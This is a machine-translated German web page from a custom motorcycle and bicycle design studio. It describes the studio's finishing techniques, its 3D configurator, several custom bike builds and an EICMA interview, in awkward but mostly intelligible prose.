Deshalb haben wir einen endgültigen Ätzprozess entwickelt, die auf rauen Oberflächen angewendet werden kann,, sowohl in Metall und Kunststoff. Der Prozess wird von Hand mit den gleichen Verfahren wie eine Tätowierung auf der menschlichen Haut durchgeführt, dann, Entwurf auf dem Papier, Übertragung eines Teils und Gravieren freihändig.
Von dieser Basis können wir dann decken und das Stück mit verschiedenen Grafiken beenden, Lackieren oder Verzinken.
Die Behandlung kann auf den Körperteil und mechanische Teile angewandt werden,, Fuhrmann, Deckel oder sonstige.
Oberflächentechnik und Modellierung
Design braucht Engineering
Was uns von anderen unterscheidet Motorrad-Enthusiasten, Es ist, dass wir uns die Hände schmutzig mit Fett zu bekommen und Öl, Anbetung Chip, aber wir sind auch Fanatiker Computer-Design! Unser erster Ansatz zur Gestaltung ist computerisiert und vor allem 3D-Modus. Mit unserer Software und Hardware und mit unseren Händen wir schaffen Oberflächen in der Klasse A oder B, Feste oder einfach durch Modelle zu machen, die schön sind, sondern auch und vor allem funktional. Funktionelles bedeutet, dass Sie sie direkt an einer Mühle schicken, ein 5 Achsen oder eine Rendering-Maschine, und Sie werden nicht Gewichtsprobleme haben, Hinterschneidungen, oder andere.
Anwendungsentwicklung und 3D-Konfigurator
Dank unserer Erfahrung in Motorrad-Design, in Design und Stil und dreidimensionale Modellierung, wir entwickelt haben, eine 3D-Konfigurator welche als Bewegung Konfigurator abgelehnt, Auto-Konfigurator oder mehr allgemein als Produktkonfigurator. eigentlich, um genauer zu sein, Es ist eine vollständig konfiguriertes Plattform für mehrere Arten von Objekten, in erster Linie natürlich Motorräder sie fähig auf verschiedenen Plattformen von Betriebs.
Da unser 3D-Konfigurator?
Im Gegensatz zu herkömmlichen Konfigurationssystemen, wir sind viel umfangreicher und modular vor allem aber evolvable in der Zeit auf eine sehr einfache Art und Weise.
Dieses System führt zu einem Werkzeug, für die Hersteller von Motorrädern (oder andere Produkte), äußerst nützlich und effektiv.
Funktionalität 3D-Konfigurator:
Mit unserem System kann der Kunde legen Sie sie einfach in den Konfigurationscontainer:
- Mehrere Modelle oder Varianten, entwickeln sie im Laufe der Zeit und Details (diese Kosten, Währungen, Lokalisierungen usw.)
- Systeme zur Überwachung und Verfolgung von Endnutzerdaten (Geolokalisierung, Adressen und Vorlieben ...)
- Listen in Echtzeit Multi-Currency aktualisiert
- Anschluss und Konfiguration direkt in Händler Corner
- On-line Buchungen
- immersive Systeme für Veranstaltungen, Ausstellungen und Präsentationen
- von Grafik-Updates, Zubehör, Farben und natürlich auch Modelle
- Modelljahr ändern
in Fiera ?
Unser 3D-Konfigurator läuft auf zwei Monitoren, eine Steuerung und eine Anzeige, Auf diese Weise ist die Benutzererfahrung nicht exklusiv, aber es bezieht das gesamte Publikum!
Probieren Sie es jetzt!
Machen Sie eine virtuelle Tour in unserem 3D-Konfigurator für UM-Motorräder
Ein 3D-Global Configurator
Ein Beispiel für eine mögliche Freisetzung in 3D-Konfigurator WEB-Modus.
Es kann auch im Vollbildmodus verwendet werden.
Erfordert Grafikkarte GTX oder ähnlich.
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UM RENEGADE SCRAMBLER 300W
Die UM RENEGADE SCRAMBLER 300W ist ein Prototyp (showbike) für UM Globale auf der Basis ihres Produktes auf dem Markt geschaffen, Der Renegat COMMANDO.
Von der ursprünglichen Bewegung natürlich hatten wir so viele Teile wie möglich zu halten, den gesamten Engineering-Prozess und in der Produktion zu optimieren, wir haben auch einige der tatsächlichen Produktionsteile UM so consertire Unternehmen eine vorteilhafte Wirtschaftlichkeit durch Massenproduktion wiederverwendet.
Die wichtigste Änderung ist offensichtlich an die neuen Radgrößen betroffen ( 120/70 R19 Ant. e 170/60 R17 Post.) mussten wir nutzen dem Motorrad einen neuen Enduro-Trimm geben, Wir haben dann wieder abgestrahlt bestehenden Hubs mit einem neuen Satz von Takasago Excel und montiert die panciutissimi und tassellatissimi Continental TKC 80.
Ebenso hatten wir das Fahrrad am Set heben zu intervenieren, dann der Rücken wir für ein paar Stoßdämpfer entschieden 380mm, während die Gabel hat die Serie bleibt Investitionen zu begrenzen.
Für Aufbauten zogen wir gerne von denen, die die componentistic Serienproduktion UM sind, immer auf höchstem Niveau als das Ende des Markts sein, Mischen klassische Elemente mit moderneren Teilen, und in einigen Fällen "störend" als Unterfahrschutz in 4 mm Blech mit unserer Technik hergestellt "Blatt-Box". Wir erleben auch ein Novum in dem Motorrad-Bereich, nämlich die Schaffung von Holzkomponenten von 3D-Design durch numerisch gesteuerten Fräsen hergestellt (CNC), und aus "Wangen" Tank mit einem perfekten Form Lager auf den Oberflächen des Originalbehälters und einige Details im hinteren Bereich.
Der Rest der Teile ist in der 3D-Druck, sondern auch von lokalen Handwerkern hergestellt, die schöne Lederpolsterung ist ein Beispiel, sondern auch das Blech Kotflügeln scherzen nicht.
Das Motorrad wurde bei Motorradmesse EICMA in Mailand präsentiert 2018 und nach Ansicht vieler ist eine der spannendsten Features, die zu sehen sind.
Nur von EICMA zurück 2017
Eine schöne Galerie von Fotos von der Veranstaltung EICMA an dem UM Globalen Stand, den uns zu Teilhabern der Erstellung des Prototyps sahen, die Sie in den Bildern und die Herstellung der sehen können "Customization Corner". Ziel beider Projekte war auf dem italienischen Markt als Reaktion auf die Bewegung erzeugt UM und auch die neuen Möglichkeiten, die individuell gestaltet werden angeboten zu analysieren, um zu bewerten "auf Nachfrage" In den modernen Prototyping und 3D-Drucktechniken verknüpft.
Die Ergebnisse in Bezug auf die öffentliche Reaktion war äußerst lohnend.
Dank denen, die uns zu begrüßen ging an und um zu sehen, was wir getan haben.
H2 – FINISH “UNPAINT”
L‘"UNPAINT" ist ein Veredelungsverfahren, die wir in GEGEBEN entwickelt haben.
Es ist ein Vorschlag, die individuell gestaltet "Licht" für die Fahrräder, die bereits einen guten Stil oder Design, gibt es viele und heute ... auf die wir mögen die Idee nicht zu intervenieren.
Ein minimal-invasives Verfahren dann, die behält die funktionellen Eigenschaften der Reihe von Bewegungs (Paarungen, Qualität und Funktionalität), während gibt das Fahrrad einen persönlichen Look, erfahrensten und auch mehr nutzbar.
Das Finish ist nichts anderes als ein lange Korrespondenz Prozess mit unterschiedlichen Körnern Karten, Farbbasen, die dann vermischt werden,, Grafik, Logos, verschiedene Aufkleber und schließlich transparenter Lack.
Gegeben “VRS02” Refola
"La Rèfola ist ein kurzer Atemzug, der verschwindet, noch bevor er sich seiner selbst bewusst wird "
Die einzige Ausnahme von unseren kleinen Bikes sind Fahrräder .... Das VRS02 ist ein Fahrrad, das wir zum Spaß und für interne Bedürfnisse entwickelt haben. Er mochte die Idee, ein schnelles und wendiges Fahrrad mit, Satz und stilvoll.
Wir haben den festen Gang verworfen, aber wir die stilistische Linie des Motorrads mit dieser Art der Übertragung gehalten. Alle gestopft und begleitet von High-Level-Komponenten und schauen städtischen Kampf!
Die VRS02 ist die Entwicklung der VRS01, Fahrrad, die Ergebnisse, wir haben ein neues Ziel für den Aluminiumrahmen geschaffen, kratzte es mit dem bloßen zu bringen und dann von Amaranth Farbspuren geben "Rost", ein typisches Beispiel für unsere Technik Finish "Unpaint".
Der Mechanismus ist unverändert in seiner Einfachheit und Funktionalität, Standort Renn, gute Bremsen, Freilauf, Blick auf da "Festrad", Breitreifen städtischen gut kopieren ebnen.
Triumph Speed Triple 1050 “SEEBRÜCKE”
Pier ist ein begeisterter ernsteren.
La sua Speed Triple 1050 verbringt unter dem Messer oder auf der Straße mehr Zeit. Doch Pier macht von Kilometern in Bewegung… Schaltet Solo auf der Stufe und Drehmoment Wochenende (offensichtlich mit einem Zweisitzer Motorrad)….
Auf seiner Geschwindigkeit erreicht Pier allein oder mit unserer Hilfe alle Teile seiner verwandeln benötigt “bürgerlich” Speed Triple in dem Tier der Anpassung und Spaß, die Sie auf dieser Seite sehen können.
Alles wurde zum Detail gepflegt, schneller pro bald, pomellino für pomellino, bis Sie auf den hinteren Rahmen erhalten, Zopf, und die Räder nach dem Vorsatz gemacht.
Im konkreten Fall, für den Schwanz, begannen wir von einem Modell aus extrudiertem Polyurethan niedriger Dichte hergestellt “graven” von Hand mit dem gleichen Pier, wir entwickeln von 3D-Scannen und Reverse Engineering, mit einer Auflösung von geometrischen Problemen, Hinterschneidungen, Entwurf und Spiegelung. Daraus erhielten wir ein erstes ABS-Modell aus dem Vollen gefräst, wie zu verwenden, “Meister” Form für die Carbon-Faser.
Schließlich rollten wir die Faser, bis Sie vollständig die frühen Stadien mit einem Endprodukt super stark und nur ein paar Pfund schwerer repliziert wurden.
Die Räder auch auf die Nachfrage und Pier Design speziell erstellt wurden,, Räder nicht zu dicken Balken, funktional und lesen, tubless, monoarm und Lackieren bicolor.
Es war nicht leicht zusammen zu bringen alle Anfragen, aber mit Hilfe unserer Jonich Es war fast ein Spaziergang.
Finden Sie die Räder auch in unserem Online einkaufen.
BMW R Ninet “Rennfahrer”
Für mich ist die R Neunzig ehrlich gesagt nicht verrückt. Es ist ohne Zweifel ein großartiges Produkt, füllt eine Nische, die vor ihr ziemlich leer war, sicherlich gibt es andere konkurrierende Modelle mit ähnlichen Eigenschaften, aber bei BMW es fehlte eine solche einfache Bewegung, klein, modern und stilvoll.
Es wird aber mir scheint es, diese Aspekte zu betonen; zu klein, Auch gewaltsam stylish. Es fehlt das Zeichen “strambo” Typisch für die Bewegung des Propellers Haus.
Auf Antrag einen Freund haben wir einige Varianten aus dem Blick sportlichere und persönlichen vorbereitet.
Seine Haupteigenschaft ist, die visuell das Sein eines Sport, aber sie paßt gut mit dem Einsatz von Alltagsgegenständen oder mit Gran Turismo dank der ursprünglichen manubrietto auf einer Windschutzscheibe angebracht ist, die nicht mit dem gleichen nicht stört.
Wir wollen nur ein leichtes Facelift sein, eine Operation Custombikes zu sein, nicht vom Konzept.
Es könnte ein ‚one-shot’ möglicherweise aber auch ein Umrüstsatz.
Die Wahl kann sein, dass Sie, weil unsere Neunzig als P.U.C.A verkauft. in unserem Shop.
STYLE FLOW – Course of Style, Design, Render e Sketches (modulo “D”)
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PLASTIC FLOW – physikalischer Modellierung Kurs und Kunststoff 3D-Druck (modulo “C”)
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METAL FLOW – Corso Schweißen WIG-AC / DC-Stahl, Eisen und Aluminium (modulo “B”)
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PIXEL FLOW – Grundkurs 3D-Modellierung (Solidworks) (modulo “EIN”)
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CR&S DUU “ND01”
die CR&S DUU Es ist ein Fahrrad, das wir sehr gut kennen, haben wir bei der Entwicklung zusammengearbeitet direkt in der Tschechischen Republik&S Folgen Sie dem Stil und der Technik von Anfang an bis hin zur direkten Anpassung an die anspruchsvollsten Kunden.
Jetzt haben wir eine Version erstellt, Schaufenster unserer Design-Funktionen, wo wir konnten voll unsere Vorstellungen über Motorrad-Stil zum Ausdruck bringen und wo die meisten Kriterien anzuwenden, die uns immer begleitet haben: Funktionalität, Ästhetik, Liebe zum Detail und Abneigung gegen die Farbe und deckt alle vergeblichen.
unsere CR&S duu war offensichtlich Gegenstand einer tiefen Anpassung vor allem aufgrund der Tatsache, dass das Modell, aus dem es stammt, die CR&S DUU "Biotta", geboren als Version "nackt" CR&S DUU original. Aufgrund der unvollständigen Entwicklung des ursprünglichen Projekts in der Tschechischen Republik&S, jedoch hat das Fahrrad gewesen "denúdala" (Biotta n.d.r.) nur die vordere, eine seltsame Mischung aus nackter Front verlassen (zu) und die hintere, die stattdessen hatte noch Teile in der traditionellen Kunststoff-Karosserie ... Zu rau für ein Fahrrad dieses Kalibers!
Wir haben versucht, dann Neuverteilung des Stils zwischen den vorderen und hinteren, leicht überlappend auf dem ersten und dem zweiten Stripping.
In Anbetracht wir dann förmigen duu in CAD zuerst und dann in Aluminium, fast alles Aluminium, fast alles zu CAD.
Einige Teile haben ihre Hand auf dem Sporn des Momentes bevorzugt (es ist immer fair einen Teil der Arbeit zu Herzen verlassen), aber vor allem das Fahrrad vollständig entwickelt wurde,, angezeigt und dann gemacht, alle mit einem Work-Flow, die uns jetzt und sehen uns unter dem charakterisieren die technischen Pioniere.
Das Motorrad hat das Ergebnis von viel Arbeit gewesen, im Allgemeinen beinhaltet unsere Herangehensweise an Projekte immer eine Vorphase von 2D-Konzept, das wir dem Kunden einreichen (sei es geschäftlich oder privat), wo wir versuchen, klar, alle Punkte zu machen, die zu Interventionen unterzogen werden wird und in erster Linie versuchen, sofort die beiden wichtigsten Parameter zu identifizieren: Volumen und Stil.
Sobald dies geschehen ist, dass wir mit der Projektdefinition gehen, es mit der Nutzung von Computern zu entwickeln, sondern auch der Bleistift oder direkt mechanische Werkstatt.
Alle Stücke entworfen von CAD-Systemen haben in CNC-gefräste aus Aluminiumteilen oder Plexiglas oder ABS und anderen Materialien realisiert. Mit unserem Know-how im Bereich Projekt, das wir von Grund auf neu entwickelt, um die Rücklichtanordnung ist eine selbstleuchtende Fries, die unser Logo erinnert sich, ohne zu offensichtlich zu sein.
GIVEN “Männlich”
Dieses Motorrad wurde für eine ganz besondere Person erstellt, folglich das Fahrrad selbst sollte nicht zu „special“ sein, seine Benutzer bereits.
Wir haben dann ein Objekt, das nicht zu viel Aufmerksamkeit nicht geben, es war diskret und elegant, aber auf subtile Weise extravagant.
Wie so oft in diesen Fällen, das Objekt stammt aus einem bestimmten, die die „LA“ gibt allen, in diesem Fall sind die Räder in 144 Herkunft Strahlen Indonesisch, von diesen gehen wir für das Gesamtprojekt, mit einem Hand Aluminium-Rahmen in Italien und eine Gabel „MTB old school“ neu interpretiert.
sehr wichtig, Fahrbarkeit / Usability wurde auf das Maximum erweitert, mit einer einzigen, aber richtigen Übersetzung für komfortable und gute Starts
Fahrgeschwindigkeit.
nur an der Vorderradbremse und den Freilauf mit dem hinteren.
Der Malkurs viele Hände von Farbe und mehrere Versuche erforderlich, um die richtige Balance zwischen Transparenz und Eleganz zu finden, aber wir sind sicher, dass Sie auf dem Fahrrad drehen, so wird es ein Vergnügen für seinen glücklichen Besitzer sein!
Kawasaki ZXR 1100 “STEALTH”
Ein klassisches neu aufgelegt in einer modernen post / Atomic!
Geschaffen für und mit "Officine Riunite Milanesi" von einem Kawasaki ZXR 1100, "Lamaialona" Es ist ein bewusst starkes Design-Studio auf eine sehr einfache Basis.
Ermüdet von den gleichen Interpretationen in Schlüssel Cafè Racer, Scrambler o Hypster, Wir entschieden uns für eine Interpretation, die uns beide formalen Experimenten beide Techniken und Materialien verwendet zu tun erlauben würde,.
Die ursprüngliche Idee war, ein Fahrrad im Stealth-Stil, wörtlich "List, heimlich", Wir haben dann versucht, dieses Konzept auf eine nationale typische militärische Mittel anzuwenden oder sonst Straße, natürlich haben wir uns auf die typische quadratische Form dieses Design, an scharfen Kanten und auf der technischen Natur des globalen Designs. auch von "Jargon" Militär hat die Leistung aller Arten von Böden geerbt, aus reinen off-road auf die Landebahn, Ausstattung der mittels eines hocheffizienten Systems Radfahren, ersetzen Suspensionen, Räder und Bremssystem. Letztere wurde ad hoc realisiert nach unserem Design aus "Discacciati Bremssystem" Vielen Dank für uns in dieser Studie Beitritt beteiligt, immer mit den höchsten Standards der Kriterien Zuverlässigkeit und Sicherheit, eine Komponente, so ausschließlich technische und funktionale als Bremssystem.
Ein Motorrad-Show und die Futapass
Das Fahrrad wird als Ganzes als ein Element der Designforschung für zukünftige Motorrad Trends sowohl der Massenproduktion entworfen, sondern auch von privaten Interpretation Personal, wir glauben, dass das Ergebnis dieses Experiments sicherlich positiv ist, sahen wir, dass Sie eine Hälfte von der starken mechanischen Charakterisierung ohne ein Rat-Bike zu erscheinen oder einen alten Traktor in einer Scheune nur entstanden aus jahrelanger Lethargie produzieren können. Das Ergebnis jedoch ist ein Fahrrad, das sehr gut für beide hohe Beanspruchung geeignet ist, als Ausflugslangstrecke, oder eine Fahrt in den Bergen oder ein stress Futapass. Aber zur gleichen Zeit können Sie verwenden "Lamaialona" als tägliche Beförderungsmittel oder als eine einfache Bewegung "Bar".
3D-Druck
Lamaialona wurde mit Hilfe moderner 3D-Design realisiert und Drucksysteme. Der erste Schritt war das Fahrrad auf Ihrem Computer zu bringen, so hier gingen wir auf die dreidimensionale Abtastung, sobald die Hälfte in der Werkstatt kam, die Zeit, um alle Aufbauten zu entfernen und 5 Minuten haben wir eine schöne Punktewolke hatten, die uns auf das Design mit einem vollen großen Bild ablaufen.
Sobald wir den Stil definiert begannen wir mit der Umsetzung der verschiedenen Parteien. Im ersten Fall haben wir unseren 3D-Drucker verwendet, um sicherzustellen, dass die Teile richtig zusammengesetzt wurden.
Das Fahrrad wurde dann mit einer Mischung von Techniken erstellt, Digital Design und praktische Anleitungen. Nach dem Scannen alle Stücke wurden sie in 3D entworfen, aber dann müssen die Aluminiumblechteile von Hand ausgeschnitten und verschweißt, stattdessen Alle Kunststoffteile sind für zukünftige Reproduktionen auf Kriterien der Realisierbarkeit in der CNC-Basis und dann umgesetzt FDM 3D-Druck mit. An diesem Punkt ein guter Anstrich und hier die Stücke bereit für die Installation.
Die Verkleidung wurde statt aus einem einzigen Block aus Aluminium 6061 über CNC-Fräsen, dies, um ein sehr oft ohne den klassischen Defekt dünnen Blechkante mit freiliegenden Kanten zu erhalten,.
Omologabilità
Das ganze Fahrrad wurde auf Kriterien Relevanz perfekt Homologation ausgelegt basiert, daher ist es perfekt "Code konform" nach EG-Richtlinien (2002/24/EG). Alle Lichter sind genehmigt und positioniert geometrisch korrekte Position, das gleiche gilt für Kfz-Kennzeichen und alle anderen Zubehörteile gezeigt. Ebenso sind die mechanischen Teile bereit, sich positiv auf die Zulassungstests im Zusammenhang zu überwinden (Reservoir, Stativ usw.).
KTM E-SM “Frei”
Das KTM Freeride E-SM ist ein schönes Fahrrad!
Schöne aus der Sicht der Leistung, Unterhaltungsangebot und innovatives Elektro-Design.
Unserer Meinung nach jedoch, wie alle KTM Realisierungen, Es hat ein Design zu traditionell und auch Renn Grafiken. Dazu gingen wir davon aus dieser stilistischen Erscheinung, wo wir über die Aussetzung gearbeitet, Überbauten, trimmen und Grafiken.
Die Suspensionen werden mit Gabel ersetzt und Schwingarm beid monoarm Gilera CX Ableitung 125
. Die Kreise ad hoc mit wenigen Speichen mit einem größeren.
Die Aufbauten eine allgemeine Verringerung der Mengen und eine Straße Berufung oder besser ‚motard gesehen’ mit einer kleinen Speichereinheit (portaguanti) in dem vorderen Bereich des Sattels.
Die Set-up Änderungen sind offensichtlich auf die Verbesserung der Mensch / Maschine-Beziehung auf Fahrposition dazwischen gerichtet, Höhe, Wandern etc..
Unsere KTM Freeride E-SM als alle unsere Projekte P.U.C.A. (Einzigartige Projekte auf der Suche nach Autor) und nur eine Hypothese, Idee unreife. Wir werden zurückgegangen nach Ihren Vorlieben glücklich sein, wenn Sie das Projekt unter folgendem Link anschließen möchten,:
Abgasschalldämpfer Klemme CR&S DUU
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Carter X-Wedge S&S e CR&S DUU
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Gegeben “Vrs01”
Die einzige Ausnahme von unseren kleinen Bikes sind Fahrräder…. Dieses Foto ist in einem Fahrrad, das wir zum Spaß haben und für interne Bedürfnisse. Er mochte die Idee, ein schnelles und wendiges Fahrrad mit, Satz und stilvoll.
Wir haben den festen Gang verworfen, aber wir die stilistische Linie des Motorrads mit dieser Art der Übertragung gehalten. Alle gestopft und begleitet von High-Level-Komponenten und schauen städtischen Kampf!
MOTO.IT
In umgekehrter Reihenfolge: was Sie lesen ist der Kommentar und die wollen von euch Lesern unter dem realen Artikel auf besondere und individuelle Anzeige auf der EICMA schreibt 2016: Ich stelle mich vor der journalistischen und innerhalb gerade in den wilden Aufruhr der persönlichen Meinung, Antipathie / Sympathie so etwas wie Customizing, und seine vielen Facetten, die per Definition ist ein Ort der Konfrontation zwischen gegensätzlichen Lebensweisen und asymptotisch Motorrad, so frage ich alle diese Zeilen einen bloßen Kommentar zu berücksichtigen: Der echte Artikel Ich werde die bereit Leser schreiben.
...
Um zu versuchen, mich in den Hunderten von Leuchttürmen zu orientieren, die ich zwinkerte überzeugend, und um mehr zu erfahren, lass dich von dem Stand von Gegeben Motodesign verführt werden, die unter anderem ausgesetzt einem - Interessanterweise meiner Meinung nach - Das Besondere an The Nation Kawasaki ZRX 1100 („Fuck“ genannt) in Zusammenarbeit mit Officine Riunite Milanesi, das fasziniert mich sehr polygonale Scheiben, rigorosen Betrieb zu gewährleisten, die die gleichen Lieferanten gesetzt haben, der legendäre Enrico Discacciati selbst!
Donato Cannatello (Donato-Gegeben ... verstanden?), GEGEBEN Eigentümer und Design-Erfahrung in der Tschechischen Republik&S, unübertrefflich, Kampf, Aprilia, Er war geduldig, und einen Chat mit mir auszutauschen hat mir seine Sicht ausgesetzt auf EICMA 2016 und die Zukunft des Customizing.
Zu setzen GEGEBEN und Meinungen von Donato berichtet, Wir fügen, dass Angebote mit sowohl einen Service von Planung und Design für diejenigen, die einen Prototyp bauen wollen (vom Konzept bis zur Vorserie zur Produktion führen), sowohl jene Privatpersonen, die „Frame off“ Projekte auf ihren Motorrädern fragen.
„Seltsamer hatten wir viel Feedback von ZRX, dass die duu, sowohl in unserem Stand ausgestellt, trotz duu ist zweifellos eine verfeinerte Design und zrx einhalb viel billiger, aber offenbar der „Blickfang"».
Und wie würden Sie das Niveau der Fragen in benutzerdefinierten Preis und Spezial?
„Das Niveau der EICMA, wenn wir beschränken uns auf die individuelle und spezielle, es scheint, viel höher und reifer als vor ein paar Jahren: von der Realität artiginali, die noch produzieren hervorragende Ergebnisse, Jetzt schalten wir zu einem reiferen Ansatz sowohl auf der technischen Gestaltung der Parteien. Aus der Sicht des Motorrads, stattdessen, Ich war begeistert von der Harley "OPERA" South Garage, sehr elegant; er gewann auch den Wettbewerb, aber wie man den Wettbewerb kennen praktisch sie ein wenig gewinnen ‚alle (Donato bezieht sich auf die Vielzahl von Kategorien und nicht sehr zahlreich zur Kenntnis Teilnahme Editor); die Ecke Gewohnheit schien stattdessen ein wenig ‚gedämpft, wenig Platz und dezentral als das vitale Zentrum der Schau, und dies scheint ein wenig eingängig: es ist der schwierigste Teil, Stattdessen besuchten viele es nicht, weil sie nicht wussten, dass es sich in der Ecke des Pavillons befand 2; Es ist auch wahr, dass es einen Teil der Öffentlichkeit gibt, der sich nicht wirklich für Gewohnheiten interessiert, Sie sind diejenigen, die die V-Strom mit dem Kofferraum hinter, aber es auch viele echte Fans sind, die es vorziehen, ein Stück Billet, um zu sehen, anstatt noch nicht einmal geschafft, uns zu finden ».
Sul futuro del Customizing? Donato hat keine Zweifel:
„Der Durchbruch, ich denke,, es ist sehr klar aus der Vergangenheit: bei der Gestaltung vom Fahrrad Rest auf der Bank ein besonderes hat es weg und Improvisieren, zuerst durchführen, wie in unserem Fall, eine Wiedergabe und 3D-Scanning, dann arbeiten direkt auf dem Computer, und Rekord Hand Seiten, in Blatt- oder einfach in 3D gedruckt; Anpassen der Zukunft des Markts sieht es nicht in den Fähigkeiten der Designer, weil heute jeder einen Computer nehmen und ein Kind setzen durch einen 3D-Drucker zu entwerfen und zu implementieren, aber ich denke, dies wird durch rechtliche Faktoren diktiert werden, wie die Einhaltung von Homologationsstandards und die Entwicklung von Stil und Trends: sehen wir müssen, wie lange dieses Phänomen sehr artiginale Customizing, Ich glaube, dass die Handarbeit sehr gut bald durch eine individuellere Anpassung ersetzt werden könnte, entworfen und mehr »entwickelt.
Eine letzte Frage: weil die tessellated Reifen auf einem Rennrad? (OK, ich weiß,, Es ist mein persönlicher Kreuzzug ...)
"Es war die Wahl des Kunden ... aber ich muss Ihnen sagen, dass, wenn es nicht für diese Anforderung waren die ZRX „Maialona“ wir würden nicht gezogen haben, wie Sie sehen,, Verständnis des Konzepts Bauchmuskeln zu unterstützen und nicht die unteren Teile des Tanks, Das scheint eine Lösung zu sein.. "Best". Vielleicht ohne den knorrigen Reifen würden wir eine weniger Winkelbewegung gemacht haben, Allrounder ".
Ich lasse die Galerie von Motorrädern, mit der Bewunderung für alle Aussteller im Zoll- und Spezialbereich, die sicherlich nicht für eine sofortige wirtschaftliche Rückkehr da sind, Aber wer investiert oft Zeit und Geld in die Leidenschaft, die Messlatte für Exzellenz und Wahnsinn immer ein wenig höher zu legen?.
Nur von EICMA zurück 2016
Wir haben gerade von EICMA zurück 2016, wir haben immer noch die Hände steif aus allen Schütteln ausgetauscht Hände, ein Herz voller Emotionen und Stolz für die vielen Komplimente.
Wir möchten allen danken, die Besuch kamen und verbinden alle, die nicht kommen konnten.
dank
MV Agusta Brutale 1098 “Unpaint”
Wir sind wie Oberflächen gegeben, dass das Material in voller Größe zu sehen verlassen, Deshalb haben wir unseren Prozess entwickelt “Färbung” für Rümpfe genannt “UNPAINT”.
Die UNPAINT ist nichts anderes als ein Original Entlackungsvorgang für eine natürlichere Behandlung der Kunststoffeinfärbung.
Es gibt einige Tests durchgeführt werden, bevor wir unser Verfahren anwenden können, vor allem müssen Sie sicherstellen, dass alle färbenden Teile aus einem ähnlichen Material sind, zum Beispiel können Sie auf dem Fahrrad mit gemischtem Kunststoff / Aluminium-Gehäuse nicht tun, es wäre auch bevorzugt sein, dass alle Kunststoffteile die gleiche Farbpaste haben, Tatsächlich kommt es häufig vor, dass die Behälter mit einem Material und Verfahren von den anderen Teil verschieden gemacht werden.
Genau diesen Fall ist es mit MV Augusta Brutale präsentiert 1098 auf denen wollten wir unsere Fertigungstechnik anwenden, Zum Glück konnten wir ein gutes Ergebnis trotz der unterschiedlichen Materialien bekommen.
Der Körper der BRUTALEN wurde dann zerlegt und komplett mit zahlreicher Korrespondenz Händen grobkörniger wird dann verarbeitet gestrippt, Farbe und andere Schmirgelpapier Hände, Dann eine andere Farbe, Schleif, Grafik, Klebstoffe, transparent und doch Korrespondenz.
Also unsere Finishing viel Geschmack erfordert nicht zu übertreiben und viele Bizeps getan werden.
Das Endergebnis ist ein Motorrad, wo sie nicht die Grafik sind (oft übermäßige) um die Szene zu dominieren, aber die Mechanik, und wo der ursprüngliche Entwurf wird von der Oberfläche verbessert die Abdeckung nicht, sondern findet!
CR&S “CEFEIDE”
Ein Cepheid ist ein junger Riesenstern, der seine Helligkeit in einem regelmäßigen Zyklus stremamente regelmäßig wechselnden pulsiert.
Ihre hohe Helligkeit macht Cepheid Sterne die Standard-Parameter, um den Abstand von Kugelsternhaufen und Galaxien zu messen.
Unsere VUN als Cepheid ist eine Referenz in der Motorrad-Welt für seine Zeitlosigkeit und unvergleichliche.
Eine Übung in exquisiter Eleganz Motorrad. die CR&S VUN ist ein besonderes und exklusives Motorrad, Hand gebaut von einem kleinen Mailand namhaften Motorradhersteller der Welt für seine Kreationen exklusiven und raffinierten Leistung. in nur gebaut 50 Proben, ein Rahmenanordnung Trellis Gemischtes Stahlrohre mit Aluminiumplatten Montage 7075 Fräste aus festem atelier Rhizome. Die Standard-Federung bietet hohe Leistung bei einem traditionellen konstruktiven Schema verknüpft bleibt. Die Vordergabel, realisiert durch Paioli, Es ist das einzige seiner Klasse eine traditionelle Konfiguration mit einem beträchtlichen Durchmesser und radialer Befestigung des vorderen Sattels für einzelne Scheibe kombiniert haben,. Der hintere Stoßdämpfer stattdessen wird in einer horizontalen Position über das Rad mit direktem Angriff montiert, sehr steif und sportlich. Der Motor ist ein Rotax 652cc Einzylinder, die so viel Drehmoment bietet und 54 Pferde Baum.
Alles hat gestimmt, das Gewicht zu halten und dann das Vergnügen übertreiben und Fahrpräzision. In diesem Sinne werden die Aufbauten minimieren und mit den edlen Materialien wie hand verformtem Aluminium für den Tank und Kohlenstoff für die Automobilkarosserieteile realisiert.
Kommen ex-Lead Designer in CR&S, kein anderer, besser Donato Cannatello und sein heutigen Motorrad Engineering-Teams GEGEBEN, Sie konnten arbeiten an der Rekonstruktion eines Motorrades so wichtig und exklusiv.
Die Arbeiten an VUN sah eine komplette Rekonstruktion "Rahmen-off", wo das Fahrrad wurde in jedem Stück aufgebrochen, die ursprüngliche Farbe des Chassis und den Motor zu entfernen und geht mit einer Fülle an der Schwinge und die wichtigen Details zu arbeiten, aber versteckt. Dazu werden alle bearbeiteten und Fertigteile wurden mit Verfahren so natürlich wie möglich behandelt, um die mechanischen Eigenschaften eines jeden Stückes zu erhalten, dann wird der Rahmen mit einer sehr leichten Beschichtung aus Nickel nass war, die die Oberfläche vor Oxidation zu schützen, während die Aluminiumteile von Hand gebürstet wurden, um das edle Material ausgesetzt hinterlassen.
Der Wiederaufbauprozess hat viele kleine Details des Fahrrads betroffen, einige neu gestaltet und rekonstruiert, um die CAD für Stahl CNC-Techniken, Aluminium und ABS, sondern auch mit mehr 3D-Drucktechniken für Kunststoffteile.
Alle Änderungen werden bei Beibehaltung der ausgezeichneten Details und Funktionalität dieses bereits fantastischen Motorrades gerichtet, sein Motor, seine Leistungen und die hohe Spezialisierung der Bauweise. Der Motor und das Ansaugsystem sind im wesentlichen gleich geblieben, um die konstruktiven und vor allem Homologationseigenschaften zu erhalten. Auf diese Weise die "Bodykit" Es ist universell auf ähnliche Bewegung verwendet werden.
Stattdessen wurden große Anstrengungen unternommen, um die Schwinge zu aktualisieren, Montage eines zweiarmigen in Aluminium-Druckguss, mit einer zentralen Platte verschraubt, dass die geometrischen Eigenschaften der ursprünglichen Quote berichtete, So bleibt das hervorragende Fahrwerk des Fahrrads erhalten.
Für ein Fahrrad so besonders entschieden wir uns für eine Intervention "aggiornativo" hält die wichtigen Eigenschaften und die in CR verbessern&S konnte nicht aus Kostengründen für die Öffentlichkeit kümmern.
Das Ergebnis ist ein gut erkennbares Fahrrad aber mit einer starken Persönlichkeit und Eleganz, das schont sowohl Leistung und Exklusivität, dass die Möglichkeit des täglichen Gebrauchs. Wir lieben es,.
GIVEN “Karim”
KARIM ist ein kleines MTB 24″, Aluminium-Rahmen und Gabel in Chrom Molybdän sowohl galvani mit Goldbad und mit Ad-hoc-Grafik.
